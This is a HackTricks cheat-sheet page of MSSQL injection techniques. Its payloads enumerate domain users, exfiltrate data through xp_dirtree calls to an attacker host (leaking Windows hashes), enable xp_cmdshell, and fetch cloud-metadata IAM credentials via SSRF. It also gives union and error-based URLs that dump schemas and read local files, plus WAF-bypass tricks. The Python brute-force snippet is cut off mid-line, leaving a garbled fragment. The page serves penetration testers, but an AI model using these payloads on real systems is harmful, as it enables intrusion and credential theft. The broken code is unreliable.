Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
# Active Directory enumeration
It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions:
* `master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator'))`: If you know the name of the domain (_MEGACORP_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**. \
This function will allow you to **know the ID of the domain** (all the bytes except of the last 4).
* `SUSER_SNAME(0x01050000000[...]0000e803)` : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can bruteforce user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('
The most common method to make a network call you will come across using MSSQL is the usage of the Stored Procedure `xp_dirtree`, which weirdly is undocumented by Microsoft, which caused it to be [documented by other folks on the Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). This method has been used in [multiple examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) of [Out of Band Data exfiltration](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) posts on the Internet.
Essentially,
```
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Much like MySQL’s `LOAD_FILE`, you can use `xp_dirtree` to make a network request to only TCP port 445. You cannot control the port number, but can read information from network shares. Addtionally, much like any UNC path access, [Windows hashes will be sent over to the network that can be captured and replayed for further exploitation](https://medium.com/@markmotig/how-to-capture-mssql-credentials-with-xp-dirtree-smbserver-py-5c29d852f478).
**PS:** This does not work on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` in the default config.
There are other stored procedures [like `master..xp_fileexist` ](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)etc. as well that can be used for similar results.
### master..xp\_cmdshell
The extended stored procedure [`xp_cmdshell` spawns a Windows command shell and executes the string passed to it, returning any rows of text](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql). This command is run as the SQL Server service account.
`xp_cmdshell` is disabled by default. You can enable it using the SQL Server Configuration Option. Here’s how
```
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
exec master..xp_cmdshell 'whoami'
GO
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/13.png)
You could use something like [PowerCat](https://github.com/besimorhino/powercat), download the Windows port of netcat/ncat, [use raw TCP Client for arbitrary ports](https://livebook.manning.com/book/powershell-deep-dives/chapter-4/9), or simply invoke Powershell’s `Invoke-WebRequest` to make HTTP requests to perform Server Side queries.
```
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
exec ('master..xp_cmdshell ''powershell -exec -bypass -c ""(iwr '+@url+').Content""''');
GO
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/14.png)
You can additionally pass other headers and change the HTTP method as well to access data on services that need a POST or PUT instead of a GET like in the case of IMDSv2 for AWS or a special header like `Metadata: true` in the case of Azure or the `Metadata-Flavor: Google` for GCP.
### MSSQL User Defined Function - SQLHttp
It is fairly straightforward to write a CLR UDF (Common Language Runtime User Defined Function - code written with any of the .NET languages and compiled into a DLL) and load it within MSSQL for custom functions. This, however, requires `dbo` access so may not work unless the web application connection to the database as `sa` or an Administrator role.
[This Github repo has the Visual Studio project and the installation instructions](https://github.com/infiniteloopltd/SQLHttp) to load the binary into MSSQL as a CLR assembly and then invoke HTTP GET requests from within MSSQL.
The [`http.cs` code uses the `WebClient` class to make a GET request and fetch the content](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) as specified
```
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
```
In the installation instructions, run the following before the `CREATE ASSEMBLY` query to add the SHA512 hash of the assembly to the list of trusted assemblies on the server (you can see the list using `select * from sys.trusted_assemblies;`)
```
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Once the assembly is added and the function created, we can run the following to make our HTTP requests
```
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/15.png)
# **Quick exploitation: Retrieve an entire table in one query**
**(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.
The query to retrieve the schema, tables and columns from the current database:
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
# **Reading local files**
**(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** An example of retrieving a local file `C:\Windows\win.ini` using the function OpenRowset():
```
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:\Windows\win.ini’,SINGLE_CLOB)+R(x)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/8.png)
Error-based vector:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
**Permissions:** The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.
# **Retrieving the current query**
**(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text`:
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
**Permissions:** If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.
# **Little tricks for WAF bypasses**
**(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**)** Non-standard whitespace characters: %C2%85 или %C2%A0:
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
A period instead of a whitespace between FROM and a column name:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
\N seperator between SELECT and a throwaway column:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```
Support HackTricks and get benefits!
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**